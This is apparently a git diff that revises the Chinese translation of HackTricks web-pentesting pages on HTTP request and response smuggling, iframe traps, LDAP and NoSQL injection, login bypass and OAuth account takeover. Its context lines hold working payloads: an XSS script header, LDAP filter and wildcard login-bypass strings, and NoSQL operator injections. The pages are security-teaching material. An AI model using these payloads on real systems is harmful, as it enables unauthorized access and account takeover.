 ### 通过 HTTP 请求走私滥用 TRACE <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
 
@@ -526,7 +526,7 @@ TRACE / HTTP/1.1
 Host: example.com
 XSS: <script>alert("TRACE")</script>
 ```
-请发送响应，例如：
+请发送一个响应，例如：
 ```
 HTTP/1.1 200 OK
 Content-Type: message/http
@@ -538,12 +538,12 @@ XSS: <script>alert("TRACE")</script>
 X-Forwarded-For: xxx.xxx.xxx.xxx
 ```
 一个滥用这种行为的例子是**首先伪装一个HEAD请求**。该请求将仅以GET请求的**头部**进行响应（**`Content-Type`**在其中）。然后立即在HEAD请求后伪装一个TRACE请求，这将**反射发送的数据**。\
-由于HEAD响应将包含一个`Content-Length`头，**TRACE请求的响应将被视为HEAD响应的主体，因此在响应中反射任意数据**。\
+由于HEAD响应将包含一个`Content-Length`头部，**TRACE请求的响应将被视为HEAD响应的主体，因此在响应中反射任意数据**。\
 该响应将被发送到连接上的下一个请求，因此这可以**用于缓存的JS文件中，例如注入任意JS代码**。
 
 ### 通过HTTP响应拆分滥用TRACE <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
 
-继续关注[**这篇文章**](https://portswigger.net/research/trace-desync-attack)建议另一种滥用TRACE方法的方式。如评论所述，伪装一个HEAD请求和一个TRACE请求可以**控制HEAD请求响应中的一些反射数据**。HEAD请求主体的长度基本上在Content-Length头中指示，并由TRACE请求的响应形成。
+继续关注[**这篇文章**](https://portswigger.net/research/trace-desync-attack)建议另一种滥用TRACE方法的方式。如评论所述，伪装一个HEAD请求和一个TRACE请求可以**控制HEAD请求响应中的一些反射数据**。HEAD请求主体的长度基本上在Content-Length头部中指示，并由TRACE请求的响应形成。
 
 因此，新的想法是，知道这个Content-Length和TRACE响应中给出的数据，可以使TRACE响应在Content-Length的最后一个字节之后包含一个有效的HTTP响应，从而允许攻击者完全控制下一个响应的请求（这可以用于执行缓存中毒）。 
 
@@ -705,7 +705,7 @@ table.add(req)
 - [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
 - [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): 该工具是一个基于语法的HTTP Fuzzer，有助于发现奇怪的请求走私差异。
 
-## 参考资料
+## 参考
 
 - [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
 - [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
diff --git a/src/pentesting-web/http-response-smuggling-desync.md b/src/pentesting-web/http-response-smuggling-desync.md
index 4be40f19c..d3dcaedc4 100644
--- a/src/pentesting-web/http-response-smuggling-desync.md
+++ b/src/pentesting-web/http-response-smuggling-desync.md
@@ -8,9 +8,9 @@
 
 首先，这种技术**利用了 HTTP 请求走私漏洞**，所以你需要知道这是什么：
 
-这种技术与常见的 HTTP 请求走私的**主要区别**在于，**不是通过在受害者的请求前添加前缀来攻击受害者的请求**，而是**泄露或修改受害者收到的响应**。这是通过**发送两个完整的请求来去同步代理的响应队列**，而不是发送一个半请求来利用 HTTP 请求走私。
+这种技术与常见的 HTTP 请求走私的**主要区别**在于，**不是通过添加前缀来攻击受害者的请求**，而是**泄露或修改受害者收到的响应**。这是通过发送**两个完整的请求来去同步代理的响应队列**，而不是发送一个半请求来利用 HTTP 请求走私。
 
-这是因为我们将能够**去同步响应队列**，使得**受害者的合法请求的响应被发送给攻击者**，或者通过**在响应中注入攻击者控制的内容给受害者**。
+这是因为我们将能够**去同步响应队列**，使得**受害者的合法请求的响应被发送给攻击者**，或者通过**在响应中注入攻击者控制的内容**给受害者。
 
 ### HTTP 管道去同步
 
@@ -24,7 +24,7 @@ HTTP/1.1 允许请求**不同的资源而不需要等待之前的请求**。因
 
 如果在这种特定情况下，**受害者发送了一个请求**，而**走私请求在合法请求之前被响应**，那么**走私响应将被发送给受害者**。因此，攻击者将**控制受害者“执行”的请求**。
 
-此外，如果**攻击者随后执行一个请求**，而**对受害者请求的合法响应在攻击者请求之前被** **回答**，那么**对受害者的响应将被发送给攻击者**，**窃取**对受害者的响应（例如，可能包含**Set-Cookie**头）。
+此外，如果**攻击者随后执行一个请求**，而**对受害者请求的合法响应**在攻击者请求之前被**回答**，那么**对受害者的响应将被发送给攻击者**，**窃取**对受害者的响应（例如，可能包含**Set-Cookie**头）。
 
 ![](<../images/image (1020).png>)
 
@@ -32,9 +32,9 @@ HTTP/1.1 允许请求**不同的资源而不需要等待之前的请求**。因
 
 ### 多重嵌套注入
 
-与常见的**HTTP 请求走私**相比，另一个**有趣的区别**是，在常见的走私攻击中，**目标**是**修改受害者请求的开头**，以便执行意外的操作。在**HTTP 响应走私攻击**中，由于你**发送完整的请求**，你可以**在一个有效载荷中注入数十个响应**，这将**去同步数十个用户**，这些用户将**接收**被**注入的** **响应**。
+与常见的**HTTP 请求走私**相比，另一个**有趣的区别**是，在常见的走私攻击中，**目标**是**修改受害者请求的开头**，使其执行意外的操作。在**HTTP 响应走私攻击**中，由于你**发送完整的请求**，你可以**在一个有效载荷中注入数十个响应**，这将**去同步数十个用户**，使他们**接收**被**注入的**响应。
 
-除了能够**更容易地在合法用户中分发数十个漏洞**，这也可以用来导致服务器的**拒绝服务**。
+除了能够**更容易地在合法用户之间分发数十个漏洞**，这也可以用于导致服务器的**拒绝服务**。
 
 ### 漏洞组织
 
@@ -42,7 +42,7 @@ HTTP/1.1 允许请求**不同的资源而不需要等待之前的请求**。因
 
 如果我们只是想**尝试窃取受害者的响应**，那么这个**耗时的请求就足够了**。但如果你想执行更复杂的漏洞，这将是漏洞的常见结构。
 
-首先是**初始**请求利用**HTTP** **请求** **走私**，然后是**耗时的请求**，最后是**一个或多个有效载荷请求**，其响应将被发送给受害者。
+首先是**初始**请求，利用**HTTP** **请求** **走私**，然后是**耗时的请求**，最后是**一个或多个有效载荷请求**，其响应将被发送给受害者。
 
 ## 利用 HTTP 响应队列去同步
 
@@ -54,56 +54,56 @@ HTTP/1.1 允许请求**不同的资源而不需要等待之前的请求**。因
 
 ![](<../images/image (1053).png>)
 
-然后，一旦**初始请求**（蓝色）被**处理**，并且**耗时**的请求正在被处理（黄色），**来自受害者的下一个请求**将被**附加在队列中，紧接在反射参数之后**：
+然后，一旦**初始请求**（蓝色）被**处理**，而**耗时**的请求（黄色）正在被处理时，**来自受害者的下一个请求**将被**附加在反射参数之后**：
 
 ![](<../images/image (794).png>)
 
-然后，**受害者**将**收到**对**耗时**请求的**响应**，如果在此期间**攻击者****发送**了**另一个** **请求**，那么**来自反射内容请求的响应将被发送给他**。
+然后，**受害者**将**收到**对**耗时**请求的**响应**，如果在此期间**攻击者****发送**了**另一个**请求，**反射内容请求的响应将被发送给他**。
 
 ## 响应去同步
 
-到目前为止，我们已经学习了如何利用 HTTP 请求走私攻击来**控制**将要**接收**的**响应**的**请求**，以及如何**窃取原本属于受害者的响应**。
+到目前为止，我们已经学习了如何利用 HTTP 请求走私攻击来**控制**客户端将要**接收的**请求**的响应**，以及如何**窃取原本属于受害者的响应**。
 
 但仍然可以**进一步去同步**响应。
 
-有趣的请求如**HEAD**请求被指定为不应在响应体中**包含任何内容**，并且应（必须）**包含请求的 Content-Length**，就像**GET 请求**一样。
+有一些有趣的请求，比如**HEAD**请求，它被规定**响应体中不应包含任何内容**，并且应该（必须）**包含请求的 Content-Length**，就像**GET 请求**一样。
 
 因此，如果攻击者**注入**一个**HEAD**请求，如下图所示：
 
 ![](<../images/image (1107).png>)
 
-然后，一旦**蓝色请求**被**响应给攻击者**，下一个受害者的请求将被引入队列：
+然后，一旦**蓝色请求**被响应给攻击者，**下一个受害者的请求**将被引入队列：
 
 ![](<../images/image (999).png>)
 
-然后，**受害者**将**收到**来自**HEAD**请求的**响应**，该响应**将包含一个 Content-Length，但没有任何内容**。因此，代理**不会将此响应发送给受害者**，而是**等待**一些**内容**，实际上将是**对黄色请求的响应**（也由攻击者注入）：
+然后，**受害者**将**收到**来自**HEAD**请求的**响应**，该响应**将包含一个 Content-Length，但没有任何内容**。因此，代理**不会将此响应发送给受害者**，而是**等待**一些**内容**，实际上这将是**对黄色请求的响应**（也由攻击者注入）：
 
 ![](<../images/image (735).png>)
 
 ### 内容混淆
 
-根据前面的例子，知道你可以**控制请求的主体**，而该请求的响应将被受害者接收，并且**HEAD** **响应**通常在其头部包含**Content-Type 和 Content-Length**，你可以**发送如下请求**以**在受害者中引发 XSS**，而页面并不容易受到 XSS 的攻击：
+根据前面的例子，知道你可以**控制请求的主体**，其响应将被受害者接收，并且**HEAD** **响应**通常在其头部包含**Content-Type 和 Content-Length**，你可以**发送如下请求**以**在受害者中引发 XSS**，而页面并不容易受到 XSS 的攻击：
 
 ![](<../images/image (688).png>)
 
 ### 缓存中毒
 
-利用之前提到的响应去同步内容混淆攻击，**如果缓存存储了受害者执行的请求的响应，并且该响应是一个引发 XSS 的注入响应，那么缓存就被中毒了**。
+利用之前提到的响应去同步内容混淆攻击，**如果缓存存储了受害者执行的请求的响应，并且该响应是一个导致 XSS 的注入响应，那么缓存就被中毒了**。
 
 包含 XSS 有效载荷的恶意请求：
 
 ![](<../images/image (614).png>)
 
-包含指示缓存存储响应的头部的恶意响应：
+包含指示缓存存储响应的头的恶意响应：
 
 ![](<../images/image (566).png>)
 
 > [!WARNING]
-> 请注意，在这种情况下，如果**“受害者”是攻击者**，他现在可以在任意 URL 上执行**缓存中毒**，因为他可以**控制将要被缓存的 URL**，并且带有恶意响应。
+> 请注意，在这种情况下，如果**“受害者”是攻击者**，他现在可以在任意 URL 上执行**缓存中毒**，因为他可以**控制将要被缓存的 URL**，与恶意响应一起。
 
 ### Web 缓存欺骗
 
-此攻击类似于前一个，但**不是在缓存中注入有效载荷，而是攻击者将在缓存中缓存受害者信息：**
+此攻击类似于前一个，但**攻击者将受害者信息缓存到缓存中，而不是在缓存中注入有效载荷：**
 
 ![](<../images/image (991).png>)
 
@@ -111,13 +111,13 @@ HTTP/1.1 允许请求**不同的资源而不需要等待之前的请求**。因
 
 此攻击的**目标**是再次利用**响应** **去同步**，以使代理发送一个 100% 由攻击者生成的响应。
 
-为了实现这一点，攻击者需要找到一个**反射某些值到响应中的** Web 应用程序的端点，并且**知道 HEAD 响应的内容长度**。
+为了实现这一点，攻击者需要找到一个**反射某些值到响应中的** Web 应用程序的端点，并**知道 HEAD 响应的内容长度**。
 
 他将发送一个**漏洞**，如下所示：
 
 ![](<../images/image (911).png>)
 
-在第一个请求被解决并发送回攻击者后，**受害者的请求将被添加到队列中**：
+在第一个请求被解决并发送回攻击者后，**受害者的请求被添加到队列中**：
 
 ![](<../images/image (737).png>)
 
@@ -127,6 +127,6 @@ HTTP/1.1 允许请求**不同的资源而不需要等待之前的请求**。因
 
 然而，请注意**反射数据的大小与 HEAD 响应的 Content-Length 相符**，这**在响应队列中生成了一个有效的 HTTP 响应**。
 
-因此，**第二个受害者的下一个请求**将**接收到**完全由攻击者构造的**响应**。由于响应完全由攻击者构造，他还可以**使代理缓存该响应**。
+因此，**第二个受害者的下一个请求**将**接收到**一个完全由攻击者构造的**响应**。由于响应完全由攻击者构造，他还可以**使代理缓存该响应**。
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/iframe-traps.md b/src/pentesting-web/iframe-traps.md
index dace83453..99a1171dd 100644
--- a/src/pentesting-web/iframe-traps.md
+++ b/src/pentesting-web/iframe-traps.md
@@ -4,11 +4,11 @@
 
 ## 基本信息
 
-这种通过 iframe 滥用 XSS 来窃取用户在网页上移动时的信息的形式最初在 trustedsec.com 的这两篇文章中发布：[**这里**](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) **和** [**这里**](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams)。
+这种通过 iframe 滥用 XSS 来窃取用户在网页上移动时信息的形式最初在 trustedsec.com 的这两篇文章中发布：[**这里**](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) **和** [**这里**](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams)。
 
 攻击开始于一个易受 XSS 攻击的页面，在这里可以让 **受害者不离开 XSS**，通过让他们 **在一个占据整个网页应用的 iframe 中导航**。
 
-XSS 攻击基本上会在 100% 的屏幕上加载网页到一个 iframe 中。因此，受害者 **不会注意到他在一个 iframe 中**。然后，如果受害者通过点击 iframe 内的链接（在网页内）进行页面导航，他将 **在 iframe 内导航**，使用加载的任意 JS 窃取此导航中的信息。
+XSS 攻击基本上会在 100% 的屏幕中加载网页到一个 iframe 中。因此，受害者 **不会注意到他在一个 iframe 中**。然后，如果受害者通过点击 iframe 内的链接（在网页内）进行页面导航，他将 **在 iframe 内导航**，使用加载的任意 JS 窃取此导航中的信息。
 
 此外，为了使其更真实，可以使用一些 **监听器** 来检查 iframe 何时更改页面的位置，并用用户认为他正在使用浏览器移动页面的那些位置更新浏览器的 URL。
 
@@ -16,7 +16,7 @@ XSS 攻击基本上会在 100% 的屏幕上加载网页到一个 iframe 中。
 
 <figure><img src="../images/image (1249).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png">https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png</a></p></figcaption></figure>
 
-此外，可以使用监听器来窃取敏感信息，不仅是受害者正在访问的其他页面，还有用于 **填写表单** 的数据并发送它们（凭据？）或 **窃取本地存储**...
+此外，可以使用监听器来窃取敏感信息，不仅是受害者正在访问的其他页面，还包括用于 **填写表单** 并发送它们（凭据？）或 **窃取本地存储**...
 
 当然，主要的限制是 **受害者关闭标签页或在浏览器中输入另一个 URL 将逃离 iframe**。另一种方法是 **刷新页面**，然而，这可能会通过在每次新页面加载到 iframe 内时禁用右键上下文菜单或注意用户的鼠标何时离开 iframe 来部分 **防止**，可能是为了点击浏览器的刷新按钮，在这种情况下，浏览器的 URL 会更新为原始的易受 XSS 攻击的 URL，因此如果用户刷新它，它将再次被污染（请注意，这并不是非常隐蔽）。
 
diff --git a/src/pentesting-web/ldap-injection.md b/src/pentesting-web/ldap-injection.md
index 48d8438c8..5724545cc 100644
--- a/src/pentesting-web/ldap-injection.md
+++ b/src/pentesting-web/ldap-injection.md
@@ -14,7 +14,7 @@
 ../network-services-pentesting/pentesting-ldap.md
 {{#endref}}
 
-**LDAP 注入** 是一种针对从用户输入构建 LDAP 语句的 web 应用程序的攻击。当应用程序 **未能正确清理** 输入时，就会发生这种情况，攻击者可以通过本地代理 **操纵 LDAP 语句**，可能导致未经授权的访问或数据操纵。
+**LDAP 注入** 是一种针对构建 LDAP 语句的 web 应用程序的攻击，攻击者通过用户输入进行操作。当应用程序 **未能正确清理** 输入时，攻击者可以通过本地代理 **操纵 LDAP 语句**，这可能导致未经授权的访问或数据操控。
 
 {% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
 
@@ -46,17 +46,17 @@
 
 **发送过滤器时使用正确的语法非常重要，否则会抛出错误。最好只发送 1 个过滤器。**
 
-过滤器必须以：`&` 或 `|` 开头\
-示例：`(&(directory=val1)(folder=public))`
+过滤器必须以 `&` 或 `|` 开头。\
+示例： `(&(directory=val1)(folder=public))`
 
 `(&(objectClass=VALUE1)(type=Epson*))`\
 `VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
 
-然后：`(&(objectClass=`**`*)(ObjectClass=*))`** 将是第一个过滤器（被执行的那个）。
+然后： `(&(objectClass=`**`*)(ObjectClass=*))`** 将是第一个过滤器（被执行的那个）。
 
 ### 登录绕过
 
-LDAP 支持多种格式来存储密码：明文、md5、smd5、sh1、sha、crypt。因此，可能无论你在密码中插入什么，它都会被哈希处理。
+LDAP 支持多种格式来存储密码：明文、md5、smd5、sh1、sha、crypt。因此，无论你在密码中插入什么，它都可能被哈希处理。
 ```bash
 user=*
 password=*
@@ -180,7 +180,7 @@ if char == alphabet[-1]: #If last of all the chars, then, no more chars in the v
 finish = True
 print()
 ```
-#### **特殊盲 LDAP 注入（不带 "\*"）**
+#### **特殊盲LDAP注入（不带“\*”）**
 ```python
 #!/usr/bin/python3
 
diff --git a/src/pentesting-web/login-bypass/README.md b/src/pentesting-web/login-bypass/README.md
index d09e37683..1e9e66ead 100644
--- a/src/pentesting-web/login-bypass/README.md
+++ b/src/pentesting-web/login-bypass/README.md
@@ -4,22 +4,22 @@
 
 ## **绕过常规登录**
 
-如果你发现一个登录页面，这里有一些技术可以尝试绕过它：
+如果你发现了一个登录页面，这里有一些技术可以尝试绕过它：
 
 - 检查页面内的 **评论**（向下滚动并向右？）
 - 检查是否可以 **直接访问受限页面**
-- 检查 **不发送参数**（不要发送任何或仅发送1个）
+- 检查 **不发送参数**（不发送任何或仅发送1个）
 - 检查 **PHP 比较错误：** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
 - **将内容类型更改为 json** 并发送 json 值（包括 bool true）
-- 如果你收到一条响应，表示不支持 POST，你可以尝试以 **GET 请求发送 JSON 到主体**，并设置 `Content-Type: application/json`
+- 如果你收到一个响应，表示不支持 POST，你可以尝试以 **GET 请求发送 JSON 到主体**，并设置 `Content-Type: application/json`
 - 检查 nodejs 潜在的解析错误（阅读 [**这个**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)）： `password[password]=1`
 - Nodejs 会将该有效负载转换为类似以下的查询： ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` 这使得密码位始终为真。
 - 如果你可以发送 JSON 对象，你可以发送 `"password":{"password": 1}` 来绕过登录。
 - 记住，要绕过此登录，你仍然需要 **知道并发送有效的用户名**。
-- **在调用 `mysql.createConnection` 时添加 `"stringifyObjects":true`** 选项将最终 **阻止在参数中传递 `Object` 时的所有意外行为**。
+- **在调用 `mysql.createConnection` 时添加 `"stringifyObjects":true`** 选项将最终 **阻止所有意外行为，当 `Object` 被传递** 在参数中。
 - 检查凭据：
 - [**默认凭据**](../../generic-hacking/brute-force.md#default-credentials) 的技术/平台
-- **常见组合**（root，admin，password，技术名称，带有这些密码之一的默认用户）。
+- **常见组合**（root, admin, password, 技术名称, 默认用户与这些密码之一）。
 - 使用 **Cewl** 创建字典，**添加** 默认用户名和密码（如果有），并尝试使用所有单词作为 **用户名和密码** 进行暴力破解
 - **暴力破解** 使用更大的 **字典 (**[**暴力破解**](../../generic-hacking/brute-force.md#http-post-form)**)**
 
@@ -75,15 +75,15 @@ admin))(|(|
 ```
 ### 记住我
 
-如果页面有 "**记住我**" 功能，检查它是如何实现的，看看你是否可以利用它来 **接管其他账户**。
+如果页面有 "**记住我**" 功能，请检查其实现方式，看看是否可以利用它来 **接管其他账户**。
 
 ### 重定向
 
-页面通常在登录后会重定向用户，检查你是否可以更改该重定向以导致 [**开放重定向**](../open-redirect.md)。如果你将用户重定向到你的网站，可能会窃取一些信息（代码、cookies...）。
+页面通常在登录后会重定向用户，请检查是否可以更改该重定向以导致 [**开放重定向**](../open-redirect.md)。如果将用户重定向到您的网站，您可能会窃取一些信息（代码、cookie...）。
 
 ## 其他检查
 
-- 检查你是否可以通过登录功能 **枚举用户名**。
+- 检查是否可以通过登录功能 **枚举用户名**。
 - 检查密码/**敏感**信息 **表单** **输入** 中是否启用了 **自动完成**：`<input autocomplete="false">`
 
 ## 自动化工具
diff --git a/src/pentesting-web/login-bypass/sql-login-bypass.md b/src/pentesting-web/login-bypass/sql-login-bypass.md
index d6d2f3c0f..5b7f42fb4 100644
--- a/src/pentesting-web/login-bypass/sql-login-bypass.md
+++ b/src/pentesting-web/login-bypass/sql-login-bypass.md
@@ -2,7 +2,7 @@
 
 此列表包含**通过XPath、LDAP和SQL注入绕过登录的有效载荷**（按此顺序）。
 
-使用此列表的方法是将**前200行作为用户名和密码。** 然后，将完整列表放在用户名输入框中，接着在密码输入框中放入一些密码（如 _Pass1234._）或一些已知用户名（如 _admin_）。
+使用此列表的方法是将**前200行作为用户名和密码。** 然后，将完整列表首先放入用户名输入框，然后放入密码输入框，同时输入一些密码（如 _Pass1234._）或一些已知用户名（如 _admin_）。
 ```
 admin
 password
diff --git a/src/pentesting-web/nosql-injection.md b/src/pentesting-web/nosql-injection.md
index 5fe62c586..37cb0b040 100644
--- a/src/pentesting-web/nosql-injection.md
+++ b/src/pentesting-web/nosql-injection.md
@@ -6,7 +6,7 @@
 
 在 PHP 中，您可以通过将发送的参数从 _parameter=foo_ 更改为 _parameter\[arrName]=foo_ 来发送一个数组。
 
-这些利用基于添加一个 **Operator**：
+这些利用基于添加一个 **操作符**：
 ```bash
 username[$ne]=1$password[$ne]=1 #<Not Equals>
 username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
@@ -35,7 +35,7 @@ username[$exists]=true&password[$exists]=true
 ```javascript
 query = { $where: `this.username == '${username}'` }
 ```
-攻击者可以通过输入字符串如 `admin' || 'a'=='a` 来利用这一点，使查询返回所有文档，因为满足了一个恒真条件 (`'a'=='a'`)。这类似于 SQL 注入攻击，其中使用像 `' or 1=1-- -` 的输入来操纵 SQL 查询。在 MongoDB 中，可以使用类似的注入，通过输入如 `' || 1==1//`、`' || 1==1%00` 或 `admin' || 'a'=='a`。
+攻击者可以通过输入字符串如 `admin' || 'a'=='a` 来利用这一点，使查询返回所有文档，因为满足了一个恒真条件 (`'a'=='a'`)。这类似于 SQL 注入攻击，其中使用像 `' or 1=1-- -` 的输入来操纵 SQL 查询。在 MongoDB 中，可以使用类似的注入，输入如 `' || 1==1//`、`' || 1==1%00` 或 `admin' || 'a'=='a`。
 ```
 Normal sql: ' or 1=1-- -
 Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a
@@ -86,7 +86,7 @@ in JSON
 
 ### 从不同集合获取信息
 
-可以使用 [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) 从不同集合获取信息。在以下示例中，我们正在读取一个名为 **`users`** 的 **不同集合**，并获取 **所有条目** 的结果，这些条目的密码与通配符匹配。
+可以使用 [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) 从不同集合获取信息。在以下示例中，我们从一个名为 **`users`** 的 **不同集合** 中读取，并获取 **所有条目** 的结果，这些条目的密码与通配符匹配。
 
 **注意：** 只有在使用 `aggregate()` 函数进行搜索时，`$lookup` 和其他聚合函数才可用，而不是更常见的 `find()` 或 `findOne()` 函数。
 ```json
diff --git a/src/pentesting-web/oauth-to-account-takeover.md b/src/pentesting-web/oauth-to-account-takeover.md
index 39a947f15..246bc8112 100644
--- a/src/pentesting-web/oauth-to-account-takeover.md
+++ b/src/pentesting-web/oauth-to-account-takeover.md
@@ -6,7 +6,7 @@
 
 OAuth 提供了多种版本，基础信息可在 [OAuth 2.0 documentation](https://oauth.net/2/) 中获取。本讨论主要集中在广泛使用的 [OAuth 2.0 授权码授权类型](https://oauth.net/2/grant-types/authorization-code/)，提供一个 **授权框架，使应用程序能够访问或在另一个应用程序中执行用户账户上的操作**（授权服务器）。
 
-考虑一个假设的网站 _**https://example.com**_，旨在 **展示您所有的社交媒体帖子**，包括私人帖子。为此，使用了 OAuth 2.0。_https://example.com_ 将请求您的权限以 **访问您的社交媒体帖子**。因此，_https://socialmedia.com_ 上会出现一个同意屏幕，概述 **请求的权限和发起请求的开发者**。在您授权后，_https://example.com_ 获得了 **代表您访问您的帖子** 的能力。
+考虑一个假设的网站 _**https://example.com**_，旨在 **展示您所有的社交媒体帖子**，包括私人帖子。为此，使用了 OAuth 2.0。_https://example.com_ 将请求您的权限以 **访问您的社交媒体帖子**。因此，_https://socialmedia.com_ 上会出现一个同意屏幕，概述 **请求的权限和发起请求的开发者**。在您授权后，_https://example.com_ 获得 **代表您访问您的帖子** 的能力。
 
 理解 OAuth 2.0 框架中的以下组件至关重要：
 
@@ -15,7 +15,7 @@ OAuth 提供了多种版本，基础信息可在 [OAuth 2.0 documentation](https
 - **客户端应用程序**：向 `资源拥有者` 请求授权的 **应用程序**，例如 **https://example.com**。
 - **授权服务器**：在成功验证 `资源拥有者` 并获得授权后，**向 `客户端应用程序` 发放 `access tokens` 的服务器**，例如 **https://socialmedia.com**。
 - **client_id**：应用程序的公共唯一标识符。
-- **client_secret**：仅为应用程序和授权服务器所知的机密密钥，用于生成 `access_tokens`。
+- **client_secret**：仅应用程序和授权服务器知道的机密密钥，用于生成 `access_tokens`。
 - **response_type**：指定 **请求的令牌类型** 的值，例如 `code`。
 - **scope**：`客户端应用程序` 请求的 `资源拥有者` 的 **访问级别**。
 - **redirect_uri**：用户在授权后被重定向的 **URL**。这通常必须与预注册的重定向 URL 对齐。
@@ -39,8 +39,8 @@ https://socialmedia.com/auth
 &scope=readPosts
 &state=randomString123
 ```
-3. 然后您将看到一个同意页面。  
-4. 在您批准后，社交媒体会向 `redirect_uri` 发送包含 `code` 和 `state` 参数的响应：
+3. 然后您会看到一个同意页面。  
+4. 在您批准后，社交媒体会将带有 `code` 和 `state` 参数的响应发送到 `redirect_uri`：
 ```
 https://example.com?code=uniqueCode123&state=randomString123
 ```
@@ -50,7 +50,7 @@ POST /oauth/access_token
 Host: socialmedia.com
 ...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
 ```
-6. 最后，过程结束时 https://example.com 使用您的 `access_token` 进行 API 调用以访问
+6. 最后，过程结束时 https://example.com 使用您的 `access_token` 向社交媒体发起 API 调用以访问
 
 ## 漏洞 <a href="#id-323a" id="id-323a"></a>
 
@@ -87,7 +87,7 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
 
 ### 秘密泄露 <a href="#e177" id="e177"></a>
 
-识别和保护秘密OAuth参数至关重要。虽然**`client_id`**可以安全披露，但泄露**`client_secret`**会带来重大风险。如果`client_secret`被泄露，攻击者可以利用应用程序的身份和信任来**窃取用户`access_tokens`**和私人信息。
+识别和保护秘密OAuth参数至关重要。虽然**`client_id`**可以安全披露，但泄露**`client_secret`**会带来重大风险。如果`client_secret`被泄露，攻击者可以利用应用程序的身份和信任来**窃取用户的`access_tokens`**和私人信息。
 
 一个常见的漏洞出现在应用程序错误地在客户端而非服务器端处理授权`code`与`access_token`的交换。这一错误导致`client_secret`的暴露，使攻击者能够以应用程序的名义生成`access_tokens`。此外，通过社会工程学，攻击者可以通过向OAuth授权添加额外的范围来提升权限，进一步利用应用程序的信任状态。
 
@@ -106,11 +106,11 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
 ```
 ### Referer Header leaking Code + State
 
-一旦客户端拥有了 **code 和 state**，如果它们在浏览到不同页面时 **反映在 Referer 头中**，那么它就存在漏洞。
+一旦客户端拥有了 **code 和 state**，如果它们在浏览到不同页面时 **反映在 Referer 头中**，那么就存在漏洞。
 
 ### Access Token Stored in Browser History
 
-前往 **浏览器历史记录并检查访问令牌是否保存在其中**。
+前往 **浏览器历史记录，检查访问令牌是否保存在其中**。
 
 ### Everlasting Authorization Code
 
@@ -151,14 +151,14 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
 
 正如 [**在这篇文章中提到的**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts)，期望接收 **token**（而不是代码）的 OAuth 流程可能会受到攻击，如果它们没有检查该 token 是否属于该应用程序。
 
-这是因为 **攻击者** 可以在自己的应用程序中创建一个 **支持 OAuth 和使用 Facebook 登录的应用程序**（例如）。然后，一旦受害者在 **攻击者的应用程序** 中使用 Facebook 登录，攻击者就可以获取 **分配给其应用程序的用户的 OAuth token，并使用它在受害者的 OAuth 应用程序中登录，使用受害者的用户 token**。
+这是因为 **攻击者** 可以在自己的应用程序中创建一个 **支持 OAuth 并使用 Facebook 登录的应用程序**（例如）。然后，一旦受害者在 **攻击者的应用程序** 中使用 Facebook 登录，攻击者就可以获取 **分配给其应用程序的用户的 OAuth token，并使用它在受害者的 OAuth 应用程序中登录，使用受害者的用户 token**。
 
 > [!CAUTION]
 > 因此，如果攻击者设法让用户访问自己的 OAuth 应用程序，他将能够在期望 token 的应用程序中接管受害者的账户，而这些应用程序并未检查该 token 是否被授予其应用程序 ID。
 
 ### 两个链接和 cookie <a href="#bda5" id="bda5"></a>
 
-根据 [**这篇文章**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f)，可以让受害者打开一个指向攻击者主机的 **returnUrl** 的页面。此信息将被 **存储在 cookie (RU)** 中，在 **后续步骤** 中，**提示** 将 **询问** **用户** 是否希望授予对该攻击者主机的访问权限。
+根据 [**这篇文章**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f)，可以让受害者打开一个指向攻击者主机的 **returnUrl** 的页面。此信息将被 **存储在 cookie (RU)** 中，并且在 **后续步骤** 中，**提示** 将 **询问** **用户** 是否希望授予对该攻击者主机的访问权限。
 
 为了绕过此提示，可以打开一个选项卡以启动 **Oauth 流程**，该流程将使用 **returnUrl** 设置此 RU cookie，在提示显示之前关闭选项卡，然后打开一个没有该值的新选项卡。然后，**提示不会通知攻击者的主机**，但 cookie 将被设置为它，因此 **token 将在重定向中发送到攻击者的主机**。
 
@@ -179,14 +179,14 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
 
